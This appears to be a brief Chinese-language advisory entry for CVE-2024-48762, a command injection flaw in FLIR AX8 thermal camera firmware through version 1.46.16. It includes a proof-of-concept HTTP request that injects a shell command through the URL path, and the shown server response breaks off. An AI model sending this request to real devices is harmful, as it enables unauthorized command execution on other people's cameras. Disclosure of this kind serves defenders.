CVE-2024-48762

CVE-2024-48762 描述 FLIR AX8（版本最高至1.46.16）的 /usr/www/application/models/settingscamera.php 中存在命令注入漏洞，攻击者可通过 value 参数执行任意命令。 POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX 响应 HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control:...